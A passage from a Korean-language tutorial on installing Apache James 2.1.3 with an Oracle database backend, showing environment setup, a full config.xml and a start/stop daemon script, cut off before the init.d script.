Console # suConsole # vi /etc/profile ← bash가 아니면 그에 해당하는 설정 파일# /etc/profile…##### HOME SET ###############################################################export JAVA_HOME=/usr/local/java ← j2se의 위치 지정export AVALON_HOME=/usr/local/avalon ← avalon의 위치 지정export JAMES_HOME=/usr/local/james ← james의 위치 지정…#### CLASSPATH SET ###########################################################export CLASSPATH=./:$JAVA_HOME/lib/tools.jarexport CLASSPATH=$CLASSPATH:$AVALON_HOME/avalon-framework-4.1.4.jar…#### PATH SET ################################################################export PATH=$PATH:$JAVA_HOME/binexport PATH=$PATH:$JAMES_HOME/bin:wq

기본적인 세팅이 끝났으므로 제대로 동작하는지 테스트 해보자.

Console # cd $JAMES_HOME/bin/Console # chmod +x *.sh ← 만약 *.sh의 모드가 readonly일 경우에..Console # ./run.shUsing PHOENIX_HOME: /tmp/james-2.1.3Using PHOENIX_TMPDIR: /tmp/james-2.1.3/tempUsing JAVA_HOME: /usr/local/javaRunning Phoenix: Phoenix 4.0.1James 2.1.3Remote Manager Service started plain:4555POP3 Service started plain:110SMTP Service started plain:25NNTP Service started plain:119Fetch POP Disabled ← 이 결과와 같다면 정상적으로 동작하는 것이다.JVM exiting abnormally. Shutting down Phoenix. ← CTRL+C를 누르면...


 

Repository Setting

사용자 로긴과 패스워드를 담고 있는 User Repository와 MailBox/Spool에 대한 정보와 메일 메시지를 담고 있든 Mail/Spool Repository는 기본적으로 파일 시스템으로 운영되지만 설정하기에 따라 JDBC를 지원하는 RDBMS(mysql, oracle, etc)에 저장할 수 있다. 이하 부분에서는 RDBMS로 ORACLE을 사용하는 설정에 대해 알아보자. 이를 위해서 Oracle 9i JDBC Driver를 받아야 한다.

Console # mv classes12.jar $JAMES_HOME/lib/ Console # mv nls_charset12.jar $JAMES_HOME/lib/

그외에 필요한 package의 경우도 이와 마찬가지로 $JAMES_HOME/lib/ 폴더에 넣으면 된다.

Console # cd $JAMES_HOME/apps/james/SAR-INF/vi config.xml

config.xml을 다음과 같이 수정하면 된다.

# $JAMES_HOME/apps/james/SAR-INF/config.xml<?xml version="1.0"?><!-- Configuration file for the Apache Jakarta James server --><!-- This file contains important settings that control the behaviour --><!-- of all of the services and repositories. --><!-- README! --><!-- This configuration file is designed to run without alteration for simple tests. --><!-- It assumes you have a DNS server on localhost and assigns a root password of root. --><!-- In case the defaults do not suit you, the items you are most likely to need to change --><!-- are preceded by a CHECKME! or CONFIRM? comment in the left margin. --><!-- For production use you will probably need to make more extensive changes, see --><!-- http://james.apache.org/documentation_2_1.html --><!-- $Revision: 1.40.2.5 $ Committed on $Date: 2003/05/12 21:10:24 $ by: $Author: noel $ --><config> <James><!-- CHECKME! --> <!-- This is the postmaster email address for this mail server. --> <!-- Set this to the appropriate email address for error reports --> <!-- If this is set to a non-local email address, the mail server --> <!-- will still function, but will generate a warning on startup. --> <postmaster>Postmaster@localhost</postmaster> <!-- servernames identifies the DNS namespace served by this instance of James. --> <!-- These servernames are used for both matcher/mailet processing and SMTP auth --> <!-- to determine when a mail is intended for local delivery. --> <!-- --> <!-- If autodetect is TRUE, James wil attempt to discover its own host name AND --> <!-- use any explicitly specified servernames. --> <!-- If autodetect is FALSE, James will use only the specified servernames. --> <!-- --> <!-- If autodetectIP is not FALSE, James will also allow add the IP address for each servername. --> <!-- The automatic IP detection is to support RFC 2821, Sec 4.1.3, address literals. --> <!-- --> <!-- To override autodetected server names simply add explicit servername elements. --> <!-- In most cases this will be necessary. --> <!-- By default, the servername 'localhost' is specified. This can be removed, if required. --> <!-- --> <!-- Warning: If you are using fetchpop it is important to include the --> <!-- fetched domains in the server name list to prevent looping. --> <servernames autodetect="true" autodetectIP="true"><!-- CONFIRM? --> <servername>localhost</servername> <servername>apple</servername> </servernames> <!-- Set whether user names are case sensitive or case insensitive --> <!-- Set whether to enable local aliases --> <!-- Set whether to enable forwarding --> <usernames ignoreCase="true" enableAliases="true" enableForwarding="true"/> <!-- The inbox repository is the location for users inboxes --> <!-- Default setting: file based repository - enter path ( use "file:///" for absolute) --><!-- <inboxRepository> <repository destinationURL="file://var/mail/inboxes/" type="MAIL"/> </inboxRepository>--> <!-- Alternative inbox repository definition for DB use. --> <!-- The format for the destinationURL is "db://<data-source>/<table>" --> <!-- <data-source> is the datasource name set up in the database-connections block, below --> <!-- <table> is the name of the table to store user inboxes in --> <!-- The user name is used as <repositoryName> for this repository config. --> <inboxRepository> <repository destinationURL="db://maildb/inbox/" type="MAIL"/> </inboxRepository> <!-- Alternative inbox repository definition for DB use. --> <!-- Stores message body in file system, rest in database --> <!-- <inboxRepository> <repository destinationURL="dbfile://maildb/inbox/" type="MAIL"/> </inboxRepository> --> </James> <!-- Fetch pop block, fetches mail from POP3 servers and inserts it into the incoming spool --> <!-- Warning: It is important to prevent mail from looping by setting the --> <!-- fetched domains in the <servernames> section of the <James> block --> <!-- above. This block is disabled by default. --> <fetchpop enabled="false"> <!-- You can have as many fetch tasks as you want, but each must have a --> <!-- unique name by which it identified --> <fetch name="mydomain.com"> <!-- Host name or IP address --> <host>mail.mydomain.com</host> <!-- Account login username --> <user>username</user> <!-- Account login password --> <password>pass</password> <!-- How frequently this account is checked - in milliseconds. 600000 is every ten minutes --> <interval>600000</interval> </fetch> </fetchpop> <!-- The James Spool Manager block --> <!-- --> <!-- This block is responsible for processing messages on the spool. --> <spoolmanager> <!-- Number of spool threads --> <threads> 10 </threads> <!-- Set the Java packages from which to load mailets and matchers --> <mailetpackages> <mailetpackage>org.apache.james.transport.mailets</mailetpackage> </mailetpackages> <matcherpackages> <matcherpackage>org.apache.james.transport.matchers</matcherpackage> </matcherpackages> <!-- The root processor is a required processor - James routes all mail on the spool --> <!-- through this processor first. --> <!-- --> <!-- This configuration is a sample configuration for the root processor. --> <processor name="root"> <!-- Checks that the email Sender is associated with a valid domain. --> <!-- Useful for detecting and eliminating spam. --> <!-- For this block to function, the spam processor must be configured. --> <!-- <mailet match="SenderInFakeDomain" class="ToProcessor"> <processor> spam </processor> </mailet> --> <!-- Important check to avoid looping --> <mailet match="RelayLimit=30" class="Null"/> <!-- White List: If you use block lists, you will probably want to check for known permitted senders. This is particularly true if you use more aggressive block lists, such as SPEWS, that are prone to block entire subnets without regard for non-spamming senders. --> <!-- specific known senders --> <!-- <mailet match="SenderIs=goodboy@goodhost" class="ToProcessor"> <processor> transport </processor> </mailet> --> <!-- People on this list agree to pay a penalty if they send spam --> <mailet match="InSpammerBlacklist=query.bondedsender.org" class="ToProcessor"> <processor> transport </processor> </mailet> <!-- E-mail legally required not to be spam (see: http://www.habeas.com) --> <!-- <mailet match="HasHabeasWarrantMark" class="ToProcessor"> <processor> transport </processor> </mailet> --> <!-- End of White List --> <!-- Check for delivery from a known spam server --> <!-- This set of matchers/mailets redirect all emails from known --> <!-- black holes, open relays, and spam servers to the spam processor --> <!-- For this set to function properly, the spam processor must be configured. --> <mailet match="InSpammerBlacklist=dnsbl.njabl.org" class="ToProcessor"> <processor> spam </processor> <notice>550 Requested action not taken: rejected - see http://njabl.org/ </notice> </mailet> <mailet match="InSpammerBlacklist=relays.ordb.org" class="ToProcessor"> <processor> spam </processor> <notice>550 Requested action not taken: rejected - see http://www.ordb.org/ </notice> </mailet> <!-- Sample matching to kill a message (send to Null) --> <!-- <mailet match="RecipientIs=badboy@badhost" class="Null"/> --> <!-- Send remaining mails to the transport processor for either local or remote delivery --> <mailet match="All" class="ToProcessor"> <processor> transport </processor> </mailet> </processor> <!-- The error processor is required. James may internally set emails to the --> <!-- error state. The error processor is generally invoked when there is an --> <!-- unexpected error either in the mailet chain or internal to James. --> <!-- --> <!-- By default configuration all email that generates an error in placed in --> <!-- an error repository. --> <processor name="error"> <!-- Logs any messages to the repository specified --> <mailet match="All" class="ToRepository"><!-- <repositoryPath> file://var/mail/error/</repositoryPath>--> <!-- An alternative database repository example follows. --> <repositoryPath> db://maildb/deadletter/error </repositoryPath> <passThrough> true </passThrough> </mailet> <!-- If you want to notify the sender their message generated an error, uncomment this --> <!-- <mailet match="All" class="NotifySender"/> --> <!-- If you want to notify the postmaster that a message generated an error, uncomment this --> <!-- <mailet match="All" class="NotifyPostmaster"/> --> </processor> <!-- Processor CONFIGURATION SAMPLE: transport is a sample custom processor for local or --> <!-- remote delivery --> <processor name="transport"> <!-- Is the recipient is for a local account, deliver it locally --> <mailet match="RecipientIsLocal" class="LocalDelivery"/> <!-- If the host is handled by this server and it did not get --> <!-- locally delivered, this is an invalid recipient --> <mailet match="HostIsLocal" class="ToProcessor"> <processor>error</processor> </mailet><!-- CHECKME! --> <!-- This is an anti-relay matcher/mailet combination --> <!-- --> <!-- Emails sent from servers not in the network list are --> <!-- rejected as spam. This is one method of preventing your --> <!-- server from being used as an open relay. Make sure you understand --> <!-- how to prevent your server from becoming an open relay before --> <!-- changing this configuration. --> <!-- --> <!-- This matcher/mailet combination must come after local delivery has --> <!-- been performed. Otherwise local users will not be able to receive --> <!-- email from senders not in this remote address list. --> <!-- --> <!-- If you are using this matcher/mailet you will probably want to --> <!-- update the configuration to include your own network/addresses. The --> <!-- matcher can be configured with a comma separated list of IP addresses --> <!-- wildcarded IP subnets, and wildcarded hostname subnets. --> <!-- e.g. "RemoteAddrNotInNetwork=127.0.0.1, abc.de.*, 192.168.0.*" --> <!-- --> <!-- If you are using SMTP authentication then you can (and generally --> <!-- should) disable this matcher/mailet pair. --> <mailet match="RemoteAddrNotInNetwork=127.0.0.1" class="ToProcessor"> <processor> spam </processor> </mailet> <!-- Attempt remote delivery using the specified repository for the spool, --> <!-- using delay time to retry delivery and the maximum number of retries --> <mailet match="All" class="RemoteDelivery"><!-- <outgoing> file://var/mail/outgoing/ </outgoing>--> <!-- alternative database repository example below --> <outgoing> db://maildb/spool/outgoing </outgoing> <!-- Number of milliseconds between delivery attempts --> <delayTime> 21600000 </delayTime> <!-- Number of failed attempts before returning to the sender --> <maxRetries> 5 </maxRetries> <!-- The number of threads that should be trying to deliver outgoing messages --> <deliveryThreads> 1 </deliveryThreads> <!-- A single mail server to deliver all outgoing messages. --> <!-- This is useful if this server is a backup or failover machine, --> <!-- or if you want all messages to be routed through a particular mail server, --> <!-- regardless of the email addresses specified in the message --> <!-- --> <!-- The gateway element specifies the gateway SMTP server name. --> <!-- If your gateway mail server is listening on a port other than 25, --> <!-- you can set James to connect to it on that port using the gatewayPort --> <!-- element. --> <!-- <gateway> otherserver.mydomain.com </gateway> <gatewayPort>25</gatewayPort> --> </mailet> </processor> <!-- Processor CONFIGURATION SAMPLE: spam is a sample custom processor for handling --> <!-- spam. --> <!-- You can either log these, bounce these, or just ignore them. --> <processor name="spam"> <!-- To destroy all messages, uncomment this matcher/mailet configuration --> <!-- <mailet match="All" class="Null"/> --> <!-- To notify the sender their message was marked as spam, uncomment this matcher/mailet configuration --> <!-- <mailet match="All" class="NotifySender"/> --> <!-- To notify the postmaster that a message was marked as spam, uncomment this matcher/mailet configuration --> <!-- <mailet match="All" class="NotifyPostmaster"/> --> <!-- To log the message to a repository, this matcher/mailet configuration should be uncommented. --> <!-- This is the default configuration. --> <mailet match="All" class="ToRepository"><!-- <repositoryPath>file://var/mail/spam/</repositoryPath>--> <!-- Changing the repositoryPath, as in this commented out example, will --> <!-- cause the mails to be stored in a database repository. --> <!-- Please note that only one repositoryPath element can be present for the mailet --> <!-- configuration. --> <repositoryPath> db://maildb/deadletter/spam </repositoryPath> </mailet> </processor> </spoolmanager> <!-- DNS Server Block --> <!-- --> <!-- Specifies DNS Server information for use by various components inside --> <!-- James. --> <!-- --> <!-- Information includes a list of DNS Servers to be used by James. These are --> <!-- specified by the server elements, each of which is a child element of the --> <!-- servers element. Each server element is the IP address of a single DNS server. --> <!-- The servers element can have multiple server children. --> <dnsserver> <servers><!-- CONFIRM? --> <!--Enter ip address of your DNS server, one IP address per server --> <!-- element. The default configuration assumes a DNS server on the localhost. --> <server>127.0.0.1</server> <server>211.175.55.95</server> ← your dns </servers> <authoritative>false</authoritative> </dnsserver> <remotemanager> <port>4555</port> <!-- Uncomment this if you want to bind to a specific inetaddress --> <!-- <bind> </bind> --> <!-- Uncomment this if you want to use TLS (SSL) on this port --> <!-- <useTLS>true</useTLS> --> <handler> <!-- This is the name used by the server to identify itself in the RemoteManager --> <!-- protocol. If autodetect is TRUE, the server will discover its --> <!-- own host name and use that in the protocol. If discovery fails, --> <!-- the value of 'localhost' is used. If autodetect is FALSE, James --> <!-- will use the specified value. --> <helloName autodetect="true">myMailServer</helloName> <administrator_accounts><!-- CHECKME! --> <!-- Change the default login/password. --> <account login="root" password="root"/> </administrator_accounts> <connectiontimeout> 60000 </connectiontimeout> </handler> </remotemanager> <!-- The POP3 server is enabled by default --> <!-- Disabling blocks will stop them from listening, --> <!-- but does not free as many resources as removing them would --> <pop3server enabled="true"> <!-- port 995 is the well-known/IANA registered port for POP3S ie over SSL/TLS --> <!-- port 110 is the well-known/IANA registered port for Standard POP3 --> <port>110</port> <!-- Uncomment this if you want to bind to a specific inetaddress --> <!-- <bind> </bind> --> <!-- Uncomment this if you want to use TLS (SSL) on this port --> <!-- <useTLS>true</useTLS> --> <handler> <!-- This is the name used by the server to identify itself in the POP3 --> <!-- protocol. If autodetect is TRUE, the server will discover its --> <!-- own host name and use that in the protocol. If discovery fails, --> <!-- the value of 'localhost' is used. If autodetect is FALSE, James --> <!-- will use the specified value. --> <helloName autodetect="true">myMailServer</helloName> <connectiontimeout>120000</connectiontimeout> </handler> </pop3server> <!-- The SMTP server is enabled by default --> <!-- Disabling blocks will stop them from listening, --> <!-- but does not free as many resources as removing them would --> <smtpserver enabled="true"> <!-- port 25 is the well-known/IANA registered port for SMTP --> <port>25</port> <!-- Uncomment this if you want to bind to a specific inetaddress --> <!-- <bind> </bind> --> <!-- Uncomment this if you want to use TLS (SSL) on this port --> <!-- <useTLS>true</useTLS> --> <handler> <!-- This is the name used by the server to identify itself in the SMTP --> <!-- protocol. If autodetect is TRUE, the server will discover its --> <!-- own host name and use that in the protocol. If discovery fails, --> <!-- the value of 'localhost' is used. If autodetect is FALSE, James --> <!-- will use the specified value. --> <helloName autodetect="true">myMailServer</helloName> <connectiontimeout>360000</connectiontimeout> <!-- Uncomment this if you want to require SMTP authentication. --> <!-- <authRequired>true</authRequired> --> <!-- Uncomment this if you want to verify sender addresses, ensuring that --> <!-- the sender address matches the user who has authenticated. --> <!-- This prevents a user of your mail server from acting as someone else --> <!-- <verifyIdentity>true</verifyIdentity> --> <!-- This sets the maximum allowed message size (in kilobytes) for this --> <!-- SMTP service. If unspecified, the value defaults to 0, which means no limit. --> <maxmessagesize>0</maxmessagesize> </handler> </smtpserver> <!-- The NNTP server is enabled by default --> <!-- Disabling blocks will stop them from listening, --> <!-- but does not free as many resources as removing them would --> <!-- NNTP-specific: if you disable the NNTP Server, you should also set the nntp-repository's threadCount to 0, otherwise there will be threads active and polling --> <nntpserver enabled="true"> <!-- THE NNTP PROTOCOL IS EXPERIMENTAL AND NOT AS WELL TESTED AS SMTP AND POP3 IN THIS RELEASE. The James project recommends that you check the James web site for updates to the NNTP service. --> <!-- port 563 is the well-known/IANA registered port for NNTP over SSL/TLS --> <!-- port 119 is the well-known/IANA registered port for Standard NNTP --> <port>119</port> <!-- Uncomment this if you want to bind to a specific inetaddress --> <!-- <bind> </bind> --> <!-- Uncomment this if you want to use TLS (SSL) on this port --> <!-- <useTLS>true</useTLS> --> <handler> <!-- This is the name used by the server to identify itself in the NNTP --> <!-- protocol. If autodetect is TRUE, the server will discover its --> <!-- own host name and use that in the protocol. If discovery fails, --> <!-- the value of 'localhost' is used. If autodetect is FALSE, James --> <!-- will use the specified value. --> <helloName autodetect="true">myMailServer</helloName> <connectiontimeout>120000</connectiontimeout> <!-- Set the authRequired value to true to enable authenticated NNTP --> <authRequired>false</authRequired> </handler> </nntpserver> <nntp-repository> <!-- If this is set to true, posting will be disallowed. --> <readOnly>false</readOnly> <rootPath>file://var/nntp/groups</rootPath> <tempPath>file://var/nntp/temp</tempPath> <articleIDPath>file://var/nntp/articleid</articleIDPath> <articleIDDomainSuffix>news.james.apache.org</articleIDDomainSuffix> <!-- The news groups hosted in this NNTP repository. --> <newsgroups> <newsgroup>org.apache.james.dev</newsgroup> <newsgroup>org.apache.james.user</newsgroup> <newsgroup>org.apache.avalon.dev</newsgroup> <newsgroup>org.apache.avalon.user</newsgroup> </newsgroups> <spool> <configuration> <spoolPath>file://var/nntp/spool</spoolPath> <!-- The number of threads that process spooler related tasks. --> <threadCount>1</threadCount> <!-- The spool thread(s) should idle for some time, if it has nothing to do --> <threadIdleTime>60000</threadIdleTime> </configuration> </spool> </nntp-repository> <!-- The Mailstore block --> <mailstore> <repositories> <!-- File based repositories. These repositories store all message data --> <!-- in the file system. --> <repository class="org.apache.james.mailrepository.AvalonMailRepository"> <protocols> <protocol>file</protocol> </protocols> <types> <type>MAIL</type> </types> </repository> <repository class="org.apache.james.mailrepository.AvalonSpoolRepository"> <protocols> <protocol>file</protocol> </protocols> <types> <type>SPOOL</type> </types> </repository> <!-- JDBC based repositories. These repositories store all message data --> <!-- in the database. --> <repository class="org.apache.james.mailrepository.JDBCMailRepository"> <protocols> <protocol>db</protocol> </protocols> <types> <type>MAIL</type> </types> <config> <sqlFile>file://conf/sqlResources.xml</sqlFile> </config> </repository> <repository class="org.apache.james.mailrepository.JDBCSpoolRepository"> <protocols> <protocol>db</protocol> </protocols> <types> <type>SPOOL</type> </types> <config> <sqlFile>file://conf/sqlResources.xml</sqlFile> </config> </repository> <!-- These repositories store message delivery and headers in the DB, and the body to the filesystem --> <repository class="org.apache.james.mailrepository.JDBCMailRepository"> <protocols> <protocol>dbfile</protocol> </protocols> <types> <type>MAIL</type> </types> <config> <sqlFile>file://conf/sqlResources.xml</sqlFile> <filestore>file://var/dbmail</filestore> </config> </repository> <repository class="org.apache.james.mailrepository.JDBCSpoolRepository"> <protocols> <protocol>dbfile</protocol> </protocols> <types> <type>SPOOL</type> </types> <config> <sqlFile>file://conf/sqlResources.xml</sqlFile> <filestore>file://var/dbmail</filestore> </config> </repository> </repositories> <!-- Spool repository configuration --> <!-- The spool repository is the location where incoming mails are temporarily stored --> <!-- before being processed. --><!-- <spoolRepository> <repository destinationURL="file://var/mail/spool/" type="SPOOL"/> </spoolRepository>--> <!-- Alternative spool repository definition for JDBC use --> <spoolRepository> <repository destinationURL="db://maildb/spool/spool" type="SPOOL"/> </spoolRepository> <!-- Alternative spool repository definition for JDBC use --> <!-- Stores message body in file system, rest in database --> <!-- <spoolRepository> <repository destinationURL="dbfile://maildb/spool/spool" type="SPOOL"/> </spoolRepository> --> </mailstore> <!-- The User Storage block --> <users-store> <!-- Configure User Repositories here. --> <!-- --> <!-- User repositories are required for the following purposes: --> <!-- - storing James user information, including forwards, aliases, --> <!-- and authentication data. --> <!-- - holding lists of users for the listserv mailet --> <!-- Currently, two different storage options are available: --> <!-- - file-based storage using Java serialization --> <!-- - database-backed storage --> <!-- (Use of database or file-system is defined on a "per-repository" basis) --> <!-- --> <!-- Note: One user repository is required for James: --> <!-- LocalUsers - the users for whom you are providing POP3, NNTP, or SMTP service --> <!-- --> <!-- Other repositories may be used by matchers or mailets. --> <!-- Default: File-based user repositories Use these configurations to store user info in the filesystem --> <!-- The LocalUsers repository, for storing James' User info. --><!-- <repository name="LocalUsers" class="org.apache.james.userrepository.UsersFileRepository"> <destination URL="file://var/users/"/> </repository>--> <!-- Database backed user repositories --> <!-- --> <!-- Use these configurations to store user info in a database. --> <!-- Note: The <data-source> element must refer to a connection configured --> <!-- in the <database-connections> configuration section. --> <!-- The LocalUsers repository, for storing James' User info. --> <repository name="LocalUsers" class="org.apache.james.userrepository.JamesUsersJdbcRepository" destinationURL="db://maildb/users"> <sqlFile>file://conf/sqlResources.xml</sqlFile> </repository> </users-store> <!-- The database-connections block --> <database-connections> <!-- These connections are referred to by name elsewhere in the config file --><!-- CHECKME! --> <!-- To allow James to use a database you must configure the database connection here. --> <!-- If you are not using a database, you can leave this section unchanged. --> <!-- These connections are referred to by name in URLs elsewhere in the config file. --> <data-sources> <!-- James is distributed with a built in relevant copy of the mm.mysql JDBC --> <!-- driver. No additional driver is needed for mysql. Read the mm.mysql LGPL --> <!-- license at apps\james\SAR-INF\lib\mm.mysql.LICENCE --> <!-- JDBC driver .jar libraries for other RDBMS can be placed in ~james/lib/ --> <!-- Example, connecting to a MySQL database called "mail" on localhost--> <!-- --> <!-- The max value is the maximum number of concurrent connections James will --> <!-- open to this database--> <!-- If you see "SQLException: Giving up... no connections available." in your --> <!-- log files or bounced mail you should increase this value --> <!-- <data-source name="maildb" class="org.apache.james.util.mordred.JdbcDataSource"> <driver>org.gjt.mm.mysql.Driver</driver> <dburl>jdbc:mysql://127.0.0.1/mail?autoReconnect=true</dburl> <user>username</user> <password>password</password> <max>20</max> </data-source> --> <data-source name="maildb" class="org.apache.james.util.mordred.JdbcDataSource"> <driver>oracle.jdbc.driver.OracleDriver</driver> <dburl>jdbc:oracle:thin:@127.0.0.1:1521:mail</dburl> ← @ Oracle Server Address : port number : SID <user>mail</user> ← user login <password>mail</password> ← user passwd <max>20</max> </data-source> <!-- Example, connecting to a Microsoft MSSQL database called "mail" on localhost--> <!-- --> <!-- The max value is the maximum number of concurrent connections James will --> <!-- open to this database--> <!-- If you see "SQLException: Giving up... no connections available." in your --> <!-- log files or bounced mail you should increase this value --> <!-- <data-source name="maildb" class="org.apache.james.util.mordred.JdbcDataSource"> <driver>com.inet.tds.TdsDriver</driver> <dburl>jdbc:inetdae7:127.0.0.1?database=James</dburl> <user>sa_james</user> <password>blahblah</password> <max>20</max> </data-source> --> </data-sources> </database-connections> <!-- Configuration for Cornerstone Services --> <!-- --> <!-- For a simple configuration, nothing beneath this line should require --> <!-- alteration. --> <!-- --> <!-- You will need to adjust the Socket Manager service configuration if you want --> <!-- to enable secure sockets (TLS) for any James service. --> <!-- --> <!-- Complex or high volume configurations may require changes to the parameters --> <!-- in this section. Please read the James and Avalon documentation before --> <!-- attempting to adjust this section. --> <!-- --> <!-- The Object Storage block --> <!-- --> <!-- Defines file storage details that are used for file-based repositories. --> <objectstorage> <repositories> <repository class="org.apache.james.mailrepository.filepair.File_Persistent_Object_Repository"> <protocols> <protocol>file</protocol> </protocols> <types> <type>OBJECT</type> </types> <models> <model>SYNCHRONOUS</model> <model>ASYNCHRONOUS</model> <model>CACHE</model> </models> </repository> <repository class="org.apache.james.mailrepository.filepair.File_Persistent_Stream_Repository"> <protocols> <protocol>file</protocol> </protocols> <types> <type>STREAM</type> </types> <models> <model>SYNCHRONOUS</model> <model>ASYNCHRONOUS</model> <model>CACHE</model> </models> </repository> </repositories> </objectstorage> <!-- The Connection Manager block --> <!-- --> <!-- The idle-timeout is the number of milliseconds that it will take for idle --> <!-- client connections managed by this connection manager to be marked at timed out. --> <!-- If no value is specified, the value defaults to 5 minutes, 300000 milliseconds --> <!-- A value of 0 means that client sockets will not timeout. --> <!-- --> <!-- The max-connections parameter specifies the default maximum number of client --> <!-- connections that this connection manager will allow per managed server socket. --> <!-- This value can be overridden by each individual service. --> <!-- If no value is specified, the value defaults to 30. --> <!-- A value of 0 means that there is no limit imposed by the connection manager, although --> <!-- resource limitations imposed by other components (i.e. max # of threads) may --> <!-- serve to limit the number of open connections. --> <!-- --> <connections> <idle-timeout>300000</idle-timeout> <max-connections>30</max-connections> </connections> <!-- The Socket Manager block --> <!-- --> <!-- The server-sockets element has a number of factory sub-elements. --> <!-- Each of the factory elements has a name and class attribute --> <!-- The name attribute for each factory element must be unique. --> <!-- The class attribute is the name of a class that implements the --> <!-- interface org.apache.avalon.cornerstone.services.ServerSocketFactory --> <!-- Specific factory elements may require some sub-elements. This is --> <!-- factory class dependent. --> <!-- --> <!-- The client-sockets element has a number of factory sub-elements. --> <!-- Each of the factory elements has a name and class attribute --> <!-- The name attribute for each factory element must be unique. --> <!-- The class attribute is the name of a class that implements the --> <!-- interface org.apache.avalon.cornerstone.services.SocketFactory --> <!-- Specific factory elements may require some sub-elements. This is --> <!-- factory class dependent. --> <!-- --> <sockets> <server-sockets> <factory name="plain" class="org.apache.avalon.cornerstone.blocks.sockets.DefaultServerSocketFactory"/> <!-- <factory name="ssl" class="org.apache.avalon.cornerstone.blocks.sockets.TLSServerSocketFactory"> <keystore> <file>conf/keystore</file> <password>secret</password> <type>JKS</type> <protocol>TLS</protocol> <algorithm>SunX509</algorithm> <authenticate-client>false</authenticate-client> </keystore> </factory> --> </server-sockets> <client-sockets> <factory name="plain" class="org.apache.avalon.cornerstone.blocks.sockets.DefaultSocketFactory"/> </client-sockets> </sockets> <!-- The Thread Manager block --> <!-- --> <!-- The thread manager provides thread pools for use throughout the server. --> <!-- --> <!-- A thread pool with the name "default" must be defined in this thread manager --> <!-- configuration. --> <!-- --> <!-- Each thread pool is defined with a "thread-group" element. --> <!-- Each of these elements has the following required sub-elements: --> <!-- name - the name of the thread pool, used by other components to --> <!-- lookup the thread pool --> <!-- priority - the thread priority for threads in the pool. This is --> <!-- a value between 0 and 10, with 5 being the normal --> <!-- priority and 10 being the maximum. --> <!-- is-daemon - whether the threads in the pool are daemon threads. --> <!-- max-threads - the maximum number of threads allowed in the pool. --> <!-- min-threads - the minimum number of threads allowed in the pool. (not implemented) --> <!-- min-spare-threads - (not implemented) --> <thread-manager> <thread-group> <name>default</name> <priority>5</priority> <is-daemon>false</is-daemon> <max-threads>100</max-threads> <min-threads>20</min-threads> <min-spare-threads>20</min-spare-threads> </thread-group> </thread-manager></config>


 

Daemon Script

시스템 부팅시 자동으로 실행하기 위한 boot script을 작성하면 Process의 관리가 수월하다.

Console # cd $JAMES_HOME/bin/Console # vi james_daemon.sh

james_daemon.sh의 내용은 다음과 같다..

# $JAMES_HOME/bin/james_daemon.sh#!/bin/sh## go.sh# Shell script to start and stop James# OS specific support. $var _must_ be set to either true or false.cygwin=falsecase "`uname`" inCYGWIN*) cygwin=true;;esac# Checking for JAVA_HOME is required on *nixif [ "$JAVA_HOME" = "" ] ; then export JAVA_HOME=/usr/java echo "ERROR: JAVA_HOME not found in your environment." echo echo "Please, set the JAVA_HOME variable in your environment to match the" echo "location of the Java Virtual Machine you want to use." echo "Trying to use /usr/java as default" exit 1fiJAVACMD=$JAVA_HOME/bin/java# resolve links - $0 may be a softlinkTHIS_PROG="$0"while [ -h "$THIS_PROG" ]; do ls=`ls -ld "$THIS_PROG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '.*/.*' > /dev/null; then THIS_PROG="$link" else THIS_PROG=`dirname "$THIS_PROG"`/"$link" fidone# Get standard environment variablesPRGDIR=`dirname "$THIS_PROG"`PHOENIX_HOME=`cd "$PRGDIR/.." ; pwd`unset THIS_PROG# For Cygwin, ensure paths are in UNIX format before anything is touchedif $cygwin; then [ -n "$PHOENIX_HOME" ] && PHOENIX_HOME=`cygpath --unix "$PHOENIX_HOME"`fiif [ -z "$PHOENIX_TMPDIR" ] ; then# Define the java.io.tmpdir to use for Phoenix PHOENIX_TMPDIR="$PHOENIX_HOME"/temp mkdir -p "$PHOENIX_TMPDIR"fi# For Cygwin, switch paths to Windows format before running javaif $cygwin; then PHOENIX_HOME=`cygpath --path --windows "$PHOENIX_HOME"`fi# ----- Execute The Requested Command -----------------------------------------echo "Using PHOENIX_HOME: $PHOENIX_HOME"echo "Using PHOENIX_TMPDIR: $PHOENIX_TMPDIR"echo "Using JAVA_HOME: $JAVA_HOME"## Command to override JVM ext dir## This is needed as some JVM vendors # like placing jaxp/jaas/xml-parser jars in ext dir# thus breaking Phoenix#JVM_OPTS="-Djava.ext.dirs=$PHOENIX_HOME/lib"if [ "$PHOENIX_SECURE" != "false" ] ; then# Make phoenix run with security manager enabled JVM_OPTS="$JVM_OPTS -Djava.security.manager"fiif [ "$1" = "start" ] ; then shift $JAVACMD $JVM_OPTS \ $JVM_OPTS \ -Djava.security.policy=jar:file:$PHOENIX_HOME/bin/phoenix-loader.jar!/META-INF/java.policy \ $PHOENIX_JVM_OPTS \ -Dphoenix.home="$PHOENIX_HOME" \ -Djava.io.tmpdir="$PHOENIX_TMPDIR" \ -jar "$PHOENIX_HOME/bin/phoenix-loader.jar" $* > /dev/null 2>&1 & echo $! > /var/run/james.pid elif [ "$1" = "stop" ] ; then shift kill -15 `cat /var/run/james.pid` rm -rf /var/run/james.pid elif [ "$1" = "run" ] ; then shift $JAVACMD $JVM_OPTS \ $JVM_OPTS \ -Djava.security.policy=jar:file:$PHOENIX_HOME/bin/phoenix-loader.jar!/META-INF/java.policy \ $PHOENIX_JVM_OPTS \ -Dphoenix.home="$PHOENIX_HOME" \ -Djava.io.tmpdir="$PHOENIX_TMPDIR" \ -jar "$PHOENIX_HOME/bin/phoenix-loader.jar" $* "$@" else echo "Usage:" echo "james (start|run|stop)" echo " start - start james in the background" echo " run - start james in the foreground" echo " stop - stop james" exit 0 fi

james_daemon.sh의 작성이 끝났으면 실행모드로 바꾼다.

Console # chmod +x james_daemon.sh

/etc/rc.d/init.d/에 추가될 script은 다음과 같이 작성한다.

Console # cd /etc/rc.d/init.d/Console # vi james

james의 내용은 다음과 같다.

